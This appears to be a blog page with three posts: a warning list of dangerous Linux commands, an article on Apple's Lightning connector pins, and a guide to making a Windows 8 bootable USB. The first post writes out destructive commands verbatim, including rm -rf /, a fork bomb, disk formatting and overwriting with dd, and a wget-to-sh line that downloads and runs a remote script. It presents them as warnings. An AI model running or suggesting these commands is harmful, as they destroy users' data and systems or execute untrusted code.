Dangerous command in linux.


Linux’s terminal commands are powerful, and  the best part is Linux won’t ask you for confirmation if you run a command that won’t break your system. It’s not uncommon to see trolls online recommending new Linux users run these commands as a joke.

deadly linuxWhat started as a joke could end up being a deadly trap door for them

Here are few of the examples .1. rm -rf / – Deletes Everything!

2. : ( ) {  :  |   : & } ; :-It practically duplicates itself usually known as fork bomb.

3. mkfs.ext4 /dev/sda1 – Formats a Hard Drive.

4. command > /dev/sda – Writes Directly to a Hard Drive.

5. dd if=/dev/random of=/dev/sda – Writes Junk Onto a Hard Drive.

6. mv ~ /dev/null – Moves Your Home Directory to a Black Hole.

7. wget http://example.com/something -O – | sh – Downloads and Runs a Script.

Being said that some commands will only be dangerous if they’re prefixed with sudo on Ubuntu – they won’t work otherwise. On other Linux distributions, most commands must be run as root.

Advertisements

Apple’s Lightning USB


 

Debuting alongside the iPhone 5 — just ahead of the fifth-generation iPod touch and seventh-generation iPod nanoApple’s new Lightning to USB Cable ($19) replaces the classic 30-pin Dock Connector with a considerably smaller design.

While a recent analysis of Apple’s Lightning USB cable shows that the pins on the plug aren’t arranged symmetrically, suggesting that the Lightning port can dynamically reassign signals to each pin on the fly. “Dynamic assignment of the pins is the only way for the USB data to be routed” over the cable, according to boutique cable maker Double Helix Cables.

While the standard USB power is routed symmetrically, so that it always aligns with the same pin on the Lightning connector, the data pins are not.

“Take top pin 2 for example,” Double Helix’s Peter Bradstock told AppleInsider. “It is contiguous, electrically, with bottom pin 2. So, as the plug is inserted into the iPhone, if you have the cable in one way, pin 2 would go into the left side of the jack, flip it the other way and the same pair of pins is going to match up with the other side of the jack (as the electrical contacts in the iPhone’s jacks are along the bottom).”

Apart from that, the Lightning connector is very similar in size to a Micro-USB plug, and quite a bit smaller than the older Mini-USB connector

As Apple noted during the iPhone 5 introduction, the Lightning port was designed as a purely digital interface that could adapt to various output needs now and in the future. So the dynamic pin assignment design makes sense—it’s the only way Lightning could work with USB 2.0, HDMI, VGA, or even possibly USB 3.0—though it does seem somewhat overkill for the needs of USB 2.0. Perhaps the varied pin routing discovered by Double Helix lets the iPhone 5 recognize the type of cable plugged in.

 

Creating a Bootable Windows 8 USB Drive from an ISO Image.


 

It’s official that the windows 8 is up for grabs and it open for the all to have a preview of  the next historical thing to happen in the world of  windows computing environment.The typical quality of windows 8 that sets it apart from the rest of the OS is its user-friendly nature to its user .

The windows 8 OS sets it’s on Ecosystem in the world of computing ….taking the side of tablets, PC,  and maybe phones .

There”s little but no difference in the ….UI(user interface ) to all the environment in thew windows 8 platform.

So lets just dive into the  windows 8 .. right away .

After few hours of testing it was convinced that the build is stable enough, and I can take it to next level by installing it parallel to Windows 7 via dual-boot. If you too are looking forward to install Windows 8 on your computer, I would prefer you create a bootable USB drive instead of a bootable DVD.

Note: This is a consumer preview of Windows 8 and not the final stable version.

A USB drive is always faster than DVDs and the chances of failed or corrupt installation are very low as compared to optical media. So lets see how you can create the bootable USB of Windows 8 in the easiest way possible.

Necessary Prerequisites

  • Download the ISO file of Windows 8 on your system.
  • A minimum of 4 GB removable drive for 32-bit Windows and 8 GB for 64-bit Windows 8 operating system.
  • Backup all the data

Creating the Windows 8 Bootable USB Drive

Step 1: Download and extract WinUSB Maker on your computer. WinUSB maker is a portable application and thus does not require installation of any kind. You only need to run the .exe file.

Step 2: Run the WinUSB Maker tool with administrative privileges to start creating your bootable USB drive. (right-click on the file, and click Run as Administrator)

Step 3: In the tool, select the option ISO image bootable disk under the Functions  section. Select Normal Detection Mode and browse for the Windows 8 bootable ISO (Image file) you have already downloaded on your system.

USB maker

Step 4: Finally, select the USB drive and drive MBR system (if you have a single one plugged in, it will be selected by default, if you have more than one, click on the dropdown menu and make a selection from the list) and click on the button Make it Bootable .

That’s all, the tool will now format the USB drive and copy all the Windows installation files to it and make it bootable.

bootable creation

You can now plug-in the device into your system and select removable drive as your first boot selection preference in your BIOS and install Windows 8.